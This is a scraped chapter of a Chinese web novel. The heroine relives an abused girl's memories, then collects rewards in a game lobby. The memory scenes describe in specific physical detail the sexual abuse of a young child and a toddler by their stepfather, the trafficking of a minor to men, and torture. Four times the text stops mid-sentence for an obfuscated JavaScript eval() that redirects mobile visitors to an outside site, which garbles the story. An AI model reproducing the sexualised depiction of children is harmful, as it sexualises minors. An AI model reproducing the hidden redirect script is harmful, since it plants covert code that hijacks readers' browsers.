“崽崽,好玩吗?”是一道听着很儒雅的男声。 原本被风充涨鼓起的睡衣变成了红色的蓬蓬裙,微卷的长发垂在白知之两颊,一个带男人正托住她的腰,一张带着些许胡茬的脸对着白知之,儒雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085711|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气息扑面而来。 白知之可以从那只浑浊的眼睛中看到自己,不,是牙牙。 白知之变成了牙牙,准确的说应该是变成了牙牙记忆中的那个她,一个看起来更加青涩稚嫩的她。 在这段记忆中,牙牙张嘴说道:“张叔叔,张叔叔,再来一遍!”白知之能很清楚地感受到来自于她的欢欣喜悦。 “要吃饭了,别麻烦你张叔叔了。”一道温柔的女声从不远处的白色小洋楼里传出。 女人站在房门口看着这一大一小,露出了幸福的笑容,用系在腰间的围裙擦拭着刚做完饭菜,还带着油烟气的双手,牙牙从一个冰冷的怀抱来到温暖的怀抱中。 “小孩子,爱玩一点也挺好的。”张叔叔说道,看向母女二人的眼中满是笑意。 一派温馨幸福的景象。 忽地,白知之眼前一黑,记忆场景由室外转向室内。 牙牙手里抓着只画笔,而她肉嘟嘟的胳膊被张叔叔捉住,男人的头抵在她的肩膀上,白知之与她的感观情绪相同步,她感到沉重和疼痛。 张叔叔炙热的呼吸连同他身上的烟味一同喷洒在牙牙脸上,她有些不适地偏过头。但张叔叔却有些不高兴,用空闲着的那只手强行掰正她的脸,两人的脸亲密地贴在一起,他的胡茬刺入女孩娇嫩的皮肤,很疼。 牙牙颤抖地说道:“张叔叔,这样我很不舒服,您可以不要再继续了吗?”这是她母亲教给她的话,若是有人让自己不舒服,就开口制止他。 张叔叔嗤笑一声,两只手分别紧握住小女孩的双手,说道:“张叔叔这是帮你画画呢,你手势不对,就不能画出漂亮的自己了。”语气很是诚恳。 作为小女孩的牙牙一听不能画出漂亮的自己,便放弃了挣扎,甚至还讨好似的蹭了蹭男人满是胡茬的脸。 白知之再一睁开眼,是牙牙母亲愤怒的脸。 母亲往地上用力摔碎了一个白瓷茶杯,牙牙正扒着门框看着房内的母亲和张叔叔,那茶杯碎片就落在她的脚边。 “你这是干什么,她还是一个孩子啊!”只见母亲指着房间内画架上的一幅画,高声质问张叔叔,牙牙此时的心情很是无措,眼泪充满了她眼眶,给她的眼睛包上了一层保护膜,致使她还有白知之都看不清眼前的画面。 “孩子?”张叔叔的声音变得尖锐,丝毫没有先前的儒雅气息,牙牙拼命捂住嘴,不想要房内的两人察觉到她的哭声。 “艺术不分年龄!”张叔叔逐渐变得癫狂,从画架上取下那幅画,举到母亲的面前。他原本用发胶固定在头顶的头发垂下一两缕,若是旁人看到这副样子,也只是会认为这是一个热爱艺术到痴迷的帅气男人。 母亲见到那幅画气都呼不上来,伸出手想要从张叔叔手中夺下毁掉那幅画,没想张叔叔早就看穿了母亲的想法,抢先她一步把画放在身后,母亲气不过,用力扇了张叔叔一巴掌。 “啪”的一声,在房间内格外清脆。 牙牙没见过这场面,她不知道为什么平常温柔和蔼的母亲要打张叔叔,她“哇”的一声哭了出来,声音惊动房内的两人,目光一齐转向门口。 张叔叔见到牙牙眼神更加痴迷癫狂。 他举着那幅画凑到牙牙面前,说道:“牙牙,你看,这就是艺术!” 那幅画上的内容俨然是牙牙的裸体。 白知之猛地闭上眼,可牙牙睁着眼,她不得不看这幅“艺术”。 母亲上前推搡着张叔叔,不过她力气怎么可能比的过一个成年男子。 张叔叔冷眼看着她,说道:“你别忘了你现在的一切是谁给的。” 母亲哭着瘫倒在地。 牙牙过去抱着母亲一起哭,哽咽道:“爸爸妈妈要一直幸福的生活在一起。” 眼前那位为艺术痴迷癫狂的张叔叔已经成为了牙牙的继父。 15. 终点酒店13 忽地,耳边的哭声消失,喉咙刀割般的疼痛一消而散。 牙牙端坐在一把椅子上,举着画笔正画着窗外的花草树木还有纷飞的蝴蝶。 张继父坐在牙牙身边,专注着看她的画。 突然,张继父夺走牙牙的画笔,在牙牙不解的眼神中解释道:“你画的这蝴蝶不生动,我来教你。” 牙牙本想让出自己的座位让张继父发挥,可他却示意她不动。牙牙很听话,端正坐好,看着张继父的画笔如何生出一只鲜活的蝴蝶。 可惜张继父手中的画笔并没有去涂抹画笔,反而朝向了牙牙。 画笔上满是牙牙为画蝴蝶调的粉红色颜料,现在那抹粉红没能成为蝴蝶,变成了牙牙腿上的污渍。 张继父用画笔在牙牙的腿上画了一只蝴蝶,那蝴蝶惟妙惟肖,牙牙入神。而白知之眼睁睁地看着画笔从腿上探进牙牙穿着的白裙子里。 画笔渐渐深入,颜料的冰凉绽放在大腿内侧,白知之一激灵,想要推开张继父,可这是牙牙的身体,她并没有排斥张继父,仿佛这是一件再正常不过的事情。 张继父似乎并不满足于此,他说:“牙牙,你想看更美的蝴蝶吗?” 牙牙点头。 画笔挑起裙摆,白裙沾染上粉红的颜料。 随着画笔越来越深入,牙牙感觉到不适,想要推开张继父,白知之更受不了。可她现下被困在牙牙的回忆里出不去。 “吱呀……”母亲端着一盘水果进了门,看着过分亲密的两人眼中只有冷漠。 张继父笑着看向母亲,说:“你难道不想说些什么?” 母亲已经麻木了,她留下一句:“牙牙,你要听爸爸的话。”后,关上门离开了。 血红的蝴蝶在白裙上飞舞。 牙牙好似麻木了,白知之不是她,虽然感官上麻木,可她的心却在燃烧。 她在刻意掩埋自己的痛苦。 白知之和牙牙一起承受痛苦,一起麻木。 画面一转。牙牙似乎已经十多岁了,可她的模样与她孩童时期无异。 当初的白色小洋楼已经破旧,屋檐上还挂着几缕风吹过来的枯草,白色的墙壁也被各种污渍玷染。母亲不似当初般满脸都堆着笑,她只有怨恨,无尽的怨恨。 她咒骂道:“你个小表子,天天只知道勾引男人,连你的父亲都不放过!” 张继父在女人背后笑着看向牙牙。 牙牙依旧穿着一身小洋裙,不过小洋裙的颜色换了又换,她的肌肤也不似从前般吹弹可破,只有羞辱带来的粗糙。 张继父轻拍女人的肩膀,以示安慰,叼着根烟说道:“别担心,她今天不是属于我的艺术品了。”话毕,把烟摁熄在女人的锁骨处。 母亲裸露在外的肌肤已经疮口满满,更不用说看不见的地方。 牙牙眼睛动了动,没有什么反应。 张继父上前抱起她放进车里,肆意地摸着牙牙的腰。 白知之与牙牙的情绪感观同步,一股恶心涌上喉头,不过牙牙面上不显,暗里拼命压制住要呕吐的感觉,想要强逼着自己冷静,更想要自己麻木。 一个十几岁的女孩,哪个不是向往青春自由的美好时光。 在学校里,女孩们可以肆意奔跑,打趣男孩,或是在上课时,不经意间回头偷看自己的心上人,和自己的好朋友手拉着手上厕所,或是背着父母化妆,亦或是为一个屏幕里的角色付出青春和爱慕。 转眼间,张继父已经带着牙牙到了一处被小树林遮挡的小房子里。 昏黄的灯光,满屋的酒气和烟味,牙牙非常排斥这里。 一群人模狗样的男人涌到牙牙面前,用那充满腐味的嘴问牙牙:“今年几岁了啊小朋友?” 牙牙挂上甜美的笑容,这一刻,她不属于自己。 “五岁啦,叔叔!”女孩说着张继父教她的话,其实牙牙今年已经十五岁了。 牙牙像一个洋娃娃,不能有自己。 有些男人明显有些不高兴,其中一个对张继父说道:“有些大了。” 张继父笑道:“小的下个月就有。” 牙牙的心一颤,不过装作天真的模样,抱住那个嫌她大的男人的手臂,说:“叔叔真讨厌,大点不好嘛,大点就可以帮叔叔的忙了。” 男人显然被牙牙故作的模样骗去,根本不知道这个看似五岁的皮囊下,是一个十五岁的,正值青春期的少女。 不过,牙牙注定没有青春。 她的美好年华已经留在五岁了。 窗外纷飞的蝴蝶被人抓捕住,活生生拔掉了翅膀,只能像条蛆一样在地上蠕动,远远地望着曾经属于它的天空。 牙牙习惯了在一群有着特殊爱好的,看似光鲜的男人中周旋。 一具具男人充满汗臭的身体挡住了牙牙头顶的光。 牙牙看似麻木,但白知之还能体会到她那副乖巧的,任人宰割的模样下鲜活的心。 “砰砰砰……”,你听,是洋娃娃的心跳声。 画面一转,牙牙再次回到童年时她最爱的画室,也是她噩梦之地。 张继父抱着一个不过三岁左右的小女孩,在那画画。 那个小女孩和十年前的牙牙一样,穿着一身白裙,画着鲜活的生命。 张继父的手很罪恶,在那小女孩的裙摆下为非作歹。可三岁的小女孩怎么会明白这是什么意思,她懵懂地看向她认为救赎了她的天使。 天使道:“这是爱小小的表现哦。” 小小是张继父这个星期从孤儿院里领养回来的孩子。 她眨着一双犹如黑葡萄的大眼,眼皮上的睫毛扑棱扑棱的,宛如牙牙当初画的那个蝴蝶。 张继父注意到了站在门口看着他的牙牙,他说:“牙牙也要画画吗?可今天爸爸只想要陪小小呢。牙牙要是实在想要爸爸,那爸爸可以给你找其他叔叔哦。”他咧嘴笑着,露出在牙牙眼里尖利可怖的牙齿,随后又补充道:“是一个牙牙没见过的新叔叔哦。” 牙牙心里没有任何波动,白知之以为她会转头离开时,她却说:“我想要找妹妹玩。” 张继父仿佛很是意外,侧过头问一脸茫然的小小:“你想和姐姐一起玩吗?” 小小高兴地点头,她心里十分喜欢这位漂亮的姐姐。 张继父把手往更深处一戳,小小“啊”的叫出来,豆大的眼泪一下子就掉下来,睫毛被泪水沾湿,仿佛下雨天的蝴蝶,翅膀湿重飞不起来,躯干颤抖在花丛避雨,好不惹人心疼。 小小被张继父放下来,不过她跑向牙牙时的腿看起来有些不自然。张继父用原本放在画板上的画擦拭双手,笑着对牙牙说:“要是牙牙吃爸爸的醋,那爸爸会很开心。要是牙牙动了什么不该动的心思,那么爸爸我也不介意你像李叔叔家的那位姐姐一样。” 白知之的心与牙牙的心同步,猛地一缩,有种一口气接不上来的窒息感。 脑海中闪过一个场景。 满是红木家具的房间里,地上铺着柔软的羊毛地毯。天花板上悬挂着欧式水晶大吊灯,那吊灯上垂着的水晶装饰一闪一闪地晃动着,中间没有灯泡,取而代之的是一个人,一个没有四肢只有躯干和头的人。 那人好似还活着,见到牙牙“嗷嗷嗷”地叫着,牙牙透过水晶装饰,可以隐约看到那人张开的嘴里没有舌头,没有牙齿。 等牙牙回过神时,张继父已站到牙牙身前,蹲下细声细语地说:“那可是一个完美的艺术品。”说完,痴迷地抚摸牙牙的脸蛋。 牙牙忍住腿软和恐惧,牵着小小走出了画室,刚刚被张继父触摸过的皮肤上,早已起了一层鸡皮疙瘩。 白知之跟随着牙牙一起松了一口气。 牙牙目光坚定地看向小小,心里似乎打定了某些主意。 白知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085712|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之隐隐也能猜到,她是要带她逃跑。 白知之被困在牙牙的记忆中,她的心告诉她不能再待下去,可她却逃不出来。似乎是有人逼着白知之与牙牙感同身受。 白知之在牙牙的记忆里看她准备好东西,预备逃跑。她的心因牙牙充满希望。 隔天,牙牙到处都找不到小小。她和小小在昨晚互道晚安时已经约定好要在门口见面,可她却不在。 牙牙抓着包袱的手紧了又松,松了又紧,最终还是放下了包袱,前往画室。 牙牙的情绪上升到白知之,腿抖着,连一条直线都走不出来。 画室里,张继父正掐着小小的脖子,强制给她注入药剂。 那药剂牙牙再熟悉不过了,可见到它身体还会止不住的发颤,那是害她现在还是这副样子的东西。 牙牙疯了。 她一把推开画室虚掩着的门,从张继父手里抢过药剂。 张继父明显没有想到牙牙会来,他瞪大眼睛,说道:“牙牙,把药给爸爸。你妹妹不注射药会死的。” “我看会死的人是你!”牙牙撕扯着喉咙怒吼,声音都变得尖利刺耳。 张继父见牙牙情绪不稳定,打算上手。 这一刻,牙牙挤压了十年的情绪被点燃,她随手从旁边拿了一个笔洗砸向张继父。 张继父倒在地上,眼里满是不可置信,他没想到乖巧的洋娃娃也会伤人。 束缚了牙牙十年的铁链被她挣断,她发泄一般用白瓷笔洗一下又一下地砸着张继父。笔洗里的水和着张继父伤口的血飞溅,洒在牙牙白皙稚嫩的脸上,洒在一旁书桌上那幅李叔叔送他的字上。 小小眼泪止不住的流,吸引来了刚回家的母亲。 母亲看到地上瘫着的丈夫,看着他已经被砸得血肉模糊的脸就知他已经没气了。 牙牙呆呆地望着一脸怨恨的母亲,笔洗从她手里脱落,与地面碰撞。原本坚固厚实的笔洗碎成几瓣。 牙牙走上去,颤抖的双手想要握住母亲,可母亲转脸憎恶地说:“我当初就不应该把你生下来。”随后,一把推开牙牙,从地上随意捡起个碎瓷片往喉咙割去。 一时间,牙牙脸上满是鲜血。她慌张地从书桌上把那幅李叔叔送的字揉成团,堵在母亲“汩汩”流血的伤口上。 “妈妈,妈妈。你快起来,我超乖的,超听话的。”牙牙的话随着眼泪鼻涕一起流出来,“你看,这可是李叔叔奖励我的,你快醒来好不好?” 笔洗和字都是李叔叔送给牙牙的,那幅字上的内容已经被血浸透,看不见了,可牙牙还记得那幅字上的内容。 上面工工整整的写着四个字“堂堂正正”。 牙牙的亲生父亲在牙牙三四岁就过世了,她不太记得他的模样,曾经也怨恨过他为什么要这么早离开。不过,她始终记得父亲曾说过:“牙牙以后要堂堂正正做人。” “堂堂正正做人?哈哈哈哈哈哈……”牙牙笑得眼泪都出来了。 白知之听到了牙牙的心声:堂堂正正是彻底不可能了,做人么…… 小小不懂牙牙为什么能笑出来,不过她知道自己只能靠她了。 她小小的手握住牙牙小小的手,两个人相拥在一起,想在这悲戚的世界拥有属于自己的一团火。 白知之一时也想张开自己的怀抱,去温暖这个被狂风暴雨席卷的女孩,可她们的距离实在太远了。这是相隔时间,相隔空间的距离。 牙牙把房子内所有值钱的东西都拿走了,最后一把火烧了这个困住她十年,以后还会纠缠她一辈子的白色小洋楼。 “堂堂正正做人是不可能了。” 牙牙和小小两个女孩走在空无一人的街道上。 牙牙明明平静的处理完了一切,可她的心却如刀绞般疼痛。 太疼了。 为什么呢? “洋娃娃也有心哦。” 16. 终点酒店14 “呼——”好似终于浮出海面,白知之长舒一大口气,眉间的结还是没能解开。 她眨眨眼,眼前一片漆黑,不过不似酒店中那般浓重。 忽地黑色的瞳孔一缩,头顶一束光打下来,照亮面前一架有白知之人高的天平,天平的两端没有放置物品或砝码,保持平衡,银质棱角静静在灯光下闪光。 白知之鼻子微皱,这儿的灯没有油脂味,可这也没有黑色人形,她借着灯查看自己的四肢躯干,没有损伤,连应有的碎玻璃碴子也没有,所有的记忆仿佛一场梦。 她的手不自觉地摸摸自己的脸,确定鼻子还是那个鼻子,眼睛还是那双眼,并不是他人才松了一口气。 “啪——”又亮了两盏灯。一盏灯照亮了天平托盘旁放着的一个洋娃娃,一头长卷发,着一件红色蓬蓬裙,白知之眼眶酸涩,咽下一口唾沫;另一盏灯照亮天平另一端托盘旁放着的砝码,上面分别刻着“善”“恶”两字,分成两组。 耳边的头发无风自动,白知之余光瞥向自己的右后方,一片漆黑,一片平静。 “你好啊,白知之。”人出现在天平后,白知之看不见他的真容,只能看见黑暗下一双发光的眼睛。 “请你选择砝码审判牙牙的罪恶。” 白知之心一跳,话语带有指向性,她的眼神如针刺向黑暗后的人。 白知之一步一本走向砝码,蹲下,她拿起最大的“善”砝码,在手心掂量掂量,不重,大概一百克左右,其余的砝码估摸着是一克,十克,二十克与五十克,“恶”砝码也是如此。 “你认为牙牙罪深几何?”白知之抬眼望向幕后之人,眼睛皱起,她好似在哪儿见过一双一样的眼睛。 “我只是一名监察官,我的想法没有作用……”最后一个字慢慢拉长,戏谑涌上眼底,继续道:“不过我认为她罪孽深重,可抵万两。” 万两?怕是将所有的砝码放上去都没有万两。 “善”砝码在白知之的手掌摩挲,她掏出道具匕首,在十克重的“善”砝码刻字。砝码呈圆柱形,为了方便白知之直接在砝码底部雕刻。 “破坏砝码,你的罪孽再加一等。” “‘再’?我以前犯过什么错吗?”话落,白知之吹去砝码底部的银尘。 “老朋友,我看你与先前相比稳重不少,可不要让前功尽弃啊。” “谁和你是老朋友。”白知之又拿起一块十克的“善”砝码,自顾自刻字。 匕首本是用来自保杀人,如今做起文艺细致活果然不得手,白知之紧攥刀柄的手已经酸麻,鬓角的汗落入刻字产出的银尘,和进刀下的字中。 “呵。算了算了,也见不了你几回了。” 又一枚砝码刻好,白知之又拿起一枚一克的“善”砝码,“错了。”她抬眼,对上那人的眼睛。 “呼——”刀尖的灰尘吹去,露出噌亮的刀锋,冷白的光打在1000积分——摆渡中最便宜的匕首上,增添一抹肃杀之气。 “在我的世界中,有一位女神名叫忒弥斯。”白知之透过冰冷的刀刃看向那双眼。 “不要废话。” 白知之依旧自顾自地讲:“忒弥斯女神左手提天平,判善恶;右手持利剑,斩邪恶断偏见;双眼蒙丝带,无偏私。” “所以呢?” 白知之抬眼,话锋一转:“我看见你了。” “呵。”一道冷笑落下。 “在牙牙的眼里。” 与张继父一模一样的一双眼。 【您本次在‘摆渡’购买一瓶大力剂,消费1000积分,欢迎您下次光临。】 一呼一吸之间,白知之手握的匕首变作一米长的木刀,当头劈下。 天平从中裂作两半,黑暗也被劈成两半,两只眼睛中间有一道裂痕,光从里面泄出。 是有温度的阳光。 白知之抬手掩眼,光从手指缝隙里透进来,已经有两天没见过正常阳光了。 外面不是黑黢黢的走廊,也不再是密不透风的酒店房间,而是整洁明亮的手术室。 几名医生护士围在手术台边,一名孕妇在床上敞开身体,为了迎接一条新生命。 她面色苍白,额头满是汗水。 手术室门开,是她的丈夫进来了。他一脸焦急地握住妻子的手,嘴里说着安慰鼓劲的话,眼框泪水汪汪。 忽地,孕妇看到角落中站着的白知之,瞪大眼睛,“她……有人在那!”声音混合痛苦的呻.吟,除了她自己没人听清她的话。 白知之递出一个善意的笑容,缓步走上前,她虚空的手穿过孕妇丈夫的身体,柔声道:“不要紧张,好好加油,一个乖宝宝等着你。” 孕妇放松似的长舒一大口气,白知之顺着这口气飘散在空中,消失不见。而她的胸膛躺着一枚身穿红色蓬蓬裙的女娃娃,她手里抱着四枚筹码,分别是十克的爱,十克的自由,一克的恨已经一克的财。 人的灵魂只有二十一克,白知之出于私心,多为她添加一克“善”财。 二十二克的灵魂可否压下上辈子的伤痛,赐予她长久幸福的生活。 “出来了,孩子出来了!”医护人员一齐欢呼。 丈夫第一时间望向妻子,看她因生产痛苦的脸,汗水粘连的头发,以及欣喜的表情。 “老婆,你辛苦了。” 在婴儿啼哭声中,妻子脱力昏迷。 母亲父母的伟大并不在于给予孩子生命,还在于倾注奉献的爱意与呵护。 牙牙,希望你可以在爱里过完一生。 【恭喜您完成您的任务,正在为您结算……】 【完成任务+10000积分】 【终点酒店副本探索度51%,+5100积分】 【开辟天使爱女副线,+10000积分】 【总共奖励25100积分,望玩家继续努力。】 【折合统计,您还欠系统299,973,001积分,加上利息您还欠系统299,974,000积分。】 【叮!您已进入游戏大厅。】 白知之再一睁眼,自己已不在亮堂的手术室,也不在黑黢黢的酒店房间,她的面前竖立一座小白楼,外表没有过多装饰,只是刷了一层白漆,没有经历风吹雨刮的磨损,看起来像是刚刚建成不久的,可一股厚重肃穆感扑面而来。 左右侧目这栋小白楼旁边都是设计风格较为华丽的建筑,但无一例外,楼层和高度都低于小白楼,隐隐暗示这栋楼背后的势力不凡。 在白知之身后,是游戏大厅最高的建筑,一块巨大的电子屏幕。 黑色的背景,白色的字体。从左至右,分别是正在进行的副本,白知之适才完成的终点酒店就在其中,副本名后面跟着玩家的昵称,其中“五人生还-刘辰”,“美食家”两个名字暗了下去,意味两人的死亡。往右看,是玩家综合排行榜,第一列赫然写着“无常”两个字,下面名字还有很多,随着名次下降,字体大小也在慢慢缩小。 看得眼酸了,白知之才在一大堆白色小字中找到自己的昵称,得亏她的昵称中英结合还酷炫拽,不然要直接略过。 第四万九千一百七十八名,于她微薄存款高度相似的数字,不过少了小数点。 不过她不在乎这些虚名,现下只想好好还债。 白知之原地盘腿坐下复盘思考。 作为她现有记忆中的第一个副本,虽然任务完成,可过程非常坎坷。 最关键的一点,她压根不知道自己的任务是什么时候完成的,或者说她根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085713|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道自己的任务是什么。 根据游戏世界规定,完成任务时任务纸条必须放在身上才可与任务对应。可是当时她身上并无任务纸条,副本原先分发给她的她放在1801号房间,她偷摸刘辰的任务纸条为了嫁祸也丢在牙牙身上,即使没什么用,那她完成的哪门子任务? 白知之一头雾水。最有可能的是秦不致把自己的任务纸条给她了,不过这是最好的情况。根据他先前强取吴长风的纸条给她的前科,很有可能是其他玩家的任务纸条,而且极有可能是商聪林的。这就麻烦了。 但看一墙的昵称,游戏世界的人不少,应该不会遇见…… “AAA!”一道充满怒气的声音从白知之背后响起。 白知之第一反应是跑,可她的手却精准抓住,怎么也挣扎不脱。 她转头,对上商聪林满是鲜血的脸,她露出一个尴尬的笑:“好久不见啊。” “好久?我一日不见你,如隔三秋啊!”商聪林稍一用力,白知之的手腕“咯咯”作响。 偏偏白知之有错在先,不好指责,只好不停呼痛,期盼商聪林可以心软。 果然,他的力道松了许多,“自己坦白和严刑逼供选一个吧。” 小小的人儿怎么能说出这么无情的话。 “我说我也不知道你信吗?”白知之不知所措地挠了挠脸。 握紧手腕的力度加大,白知之的脸涨红,立马求饶:“说,我说。” 商聪林松开手,抬眼看向她,一点也不担心白知之撒腿就跑,他有足够的实力制裁她的自不量力。 白知之边揉手腕边说:“你还记得我的房间号是1801吧。” 商聪林点头。 “不知道你后面在副本待了多久,了解多少。其实每个人的房间号最后面那个数字代表着房间门可以开关的次数,以及晚上副本npc杀人的顺序。我是第一个,临死之际,我触发了副本副线,有个人救了我,也就是后面偷任务纸条给我的那个人了。所以,我想你的任务纸条也是他偷的。不过我都不知道你的任务是什么呢?” “审判天使。”商聪林斜瞥她一眼,“没想到被你误打误撞完成了。” “运气运气,估计还在新手保护期呢。”白知之打哈哈想要混过去。 “希望你之后也能这么好运。下本之前先好好了解这个世界吧。”商聪林头也不回地走进身后那栋小白楼。他显然没有完全相信白知之的话,但他似乎也不在乎真相。 下一秒,陈芸出现在白知之面前,原先整洁的运动套装满是血渍,多处破损,她的脸颊也有伤痕。 白知之赶忙上前扶了她一把,才不至于直直瘫倒在地。 看清来人,陈芸露出善意的笑容,手不休息往嘴里灌下治愈剂。 “芸姐,你怎么样了?” “还好。”有了治愈剂,陈芸身上的伤口逐渐愈合,她可以自己支撑自己的身体。 “你知道杀死天使爱女的玩家昵称吗?”陈芸反握住白知之的胳膊,双眼通红。 “他怎么了吗?”那人就是白知之,没理由白知之脱离副本后又出现了一个“真正的”杀人凶手。 陈芸手猛地收紧,抓得白知之手臂生疼,可她没有吱声。 “第二晚,我们的任务纸条集体消失了。”回忆这件事时,陈芸的嘴唇都在颤抖。 白知之终于知道商聪林为何没有追究这件事了,虽给他添了些麻烦,倒也算送了份人情,两相抵消了。 她皱紧双眉,“怎么会这样!他也太……太过分了吧。”紧接着低头,“对不起,芸姐。我也不知道他的名字,我从头到尾都没看见他的真人。” 陈芸摆摆手,勉强自己鼓起一个笑容,说:“没事的。”转身也走向小白楼。 17. 终点酒店15 游戏大厅以电子屏与小白楼为中心扩散,放眼望去,有各家游戏公会,有黑市,有餐厅,酒吧,竟然还有赌场等不被现实世界允许的娱乐场所,可谓是五脏俱全。 “系统,你说的极乐之地在哪啊?”白知之好奇道。 难不成是这个游戏大厅? 系统依旧没有回复。她突然想念那个呛她话的幽幽了,虽然人不讨喜,总比现在孤身一人,不知何去何从的强。 白知之长叹口气。 游戏大厅这么多的建筑,没有一座是她的容身之所。再者她现在背负三亿巨债,可不敢随意消费,即使系统没有限制她的积分花销。 这会不会太纵容了?还是说对她的能力太过自信? 回家算了,回那座不知道何时住进去的房子。 “系统,我要怎么回到我原本的世界啊?”白知之有一下没一下地拨弄手机,上面没有回家的按钮。 她暗想,真正的资本家应该不会放过这个挣钱的大好机会。要是她,回家一次要多少多少积分,至少取个完成副本奖励积分的最低值。 【玩家您好,由于您现在还欠系统299,974,000积分,所以您的返程功能暂时关闭,请您理解。】 白知之嘴角抽搐两下,一副生无可恋的样子,“那得还到多少才能回家啊?” 【全部。】 这才是真正的资本家。 现在白知之不得不找一个落脚的地方暂时休整了,她可做不到一个副本接一个副本玩命的下。 走吧。 白知之站起身,拍拍屁股上的灰,正准备抬脚走人,一名穿着休闲T恤衫的男人拦在她面前。 “白小姐吗?我们主人有请。”他微微躬身,头低着,手掌朝上指向小白楼的方向。 白知之眉尾一挑,应了下来。 踏入小白楼的第一步,周遭与外面不同的温度湿度涌了上来,伴随着一股淡淡的檀香,看来主人很是追求生活品质。 白知之边走边向男人套话,可惜他的最很严,一句话也漏不出来。 眨眼间,已上了五层,应该是小白楼的最顶层。白知之跟在男人身后,走进走廊深处,那里有一扇微掩着的木门。 “请进。”他弯腰躬身,手指向门内。 白知之看了他一眼,便走了进去,男人贴心谨慎地关上了房门。 里面是一间办公室,一个穿着职业西装裙的女士毫不在意自己的形象,将双腿交叠搭在办公桌上,听见门合上的声音才后知后觉地收起腿,端坐起来。 白知之正怀疑小白楼的权威性,没想看见那人转过头顶着一张娃娃脸,眨巴一双大又圆的黑眼睛时,心里深深烙下游戏世界雇佣童工是正常行为的刻板印象。 “你好呀,白小姐,我是极乐世界的负责人,你可以称呼我为经理。”她站起来,捋平西装裙的褶皱,伸出手。 “你好,经理。”白知之也不扭捏,回握经理的手,尽管对面像个偷穿大人衣服玩过家家游戏的小孩。 打过招呼,经理变坐回自己的办公椅上,顺便借着椅子下的轮滑转了个圈。 白知之客随主便,坐在一旁的沙发上。 “不知道经理找我来是为了什么?”白知之开门见山问道。 经理转着手中的钢笔,似乎才想起来这回事,露出一个商业客套的笑容,“终点酒店作为一个新出的副本,只有你的探索率最高。”她转过办公椅,踩着高跟鞋哒哒走到白知之面前,弯腰眼神直直看着她,“所以,我想和你做个交易。” 白知之猜到了。 游戏世界与现实中的游戏运作差不多,关卡太难总要有人出攻略,何况是踏错一步便走进鬼门关的难关。 “你拿什么与我交换?”白知之虽说欠了债,但债目一旦到了不能轻易还清的程度便显得没那么重要了。所以她要索求更为重要的东西——道具,一个可以在副本中保命的玩意儿。 白知之相信对方是聪明人,能听懂她的言外之意。 经理“啧”了声,坐回自己的办公椅上转了两圈,说:“我也很想给你一点珍稀道具,毕竟我看好你的能力。不过白小姐,你现在欠着几亿的积分,不用我提醒你吧。”她的眼底充满不屑,“你现在被系统列为失信人员,就算我给你道具,被你收进系统背包里依旧会换算成积分抵押,别可惜了道具。” 白知之眼珠一转,心里有了解决方法。经理一眼看穿她的小心思,说道:“我们是诚信经营,不会瞒着系统帮你作弊的。” 白知之低眉叹气,说:“多少积分?”不管多少积分进了她的口袋就像精卫填海,永远也填不满她欠下的债。 突然想起吴长风临走前的笑脸,恨得牙痒痒,却不能为力,怎么说也是她自己欠下的。 “百分之五十一的探索度不算高呢,我比较好奇你的副线是什么。” 白知之挑眉,看来商聪林和她说了,还给自己挖了一个坑。 也不知道秦不致出来了没。电子统计了屏上只会显示死亡玩家,并不会全部列出通关玩家的昵称。 “我的副线……要加价哦。”白知之身体前倾,作出侵略姿态。 “要是撒谎,你会遭到我们的封杀。”经理露出一个笑来,妥妥的上位者姿态,她认为不会有人欺骗她。 白知之笑着举手发誓:“如有欺瞒,天打雷劈。” 经理点头,当即给白知之的账号转去一百万积分,“这是我的诚意。” 白知之看着刚到账的一百万积分,笑容愈来愈深,不过点进余额看到依旧是负数,脑仁不由抽痛了一下。 一个副本主线所有人都知道,可是副线确实难能可贵的赚钱秘籍。一般而言,黑市上买卖的珍稀道具都是完成副线奖励的,不过要触发副线也不是件容易的事。 白知之看中了这一点才敢扭曲事实。 经理转身,从抽屉里拿出一瓶药剂递给白知之,“这是除杂剂,可以让你等会的叙述不掺杂个人情感。” 白知之咕隆一口喝下,开始撒谎。 大概半个小时,白知之再次出现在小白楼前,不过这回,她深吐一口气,全身放松。 这积分未免……太好挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 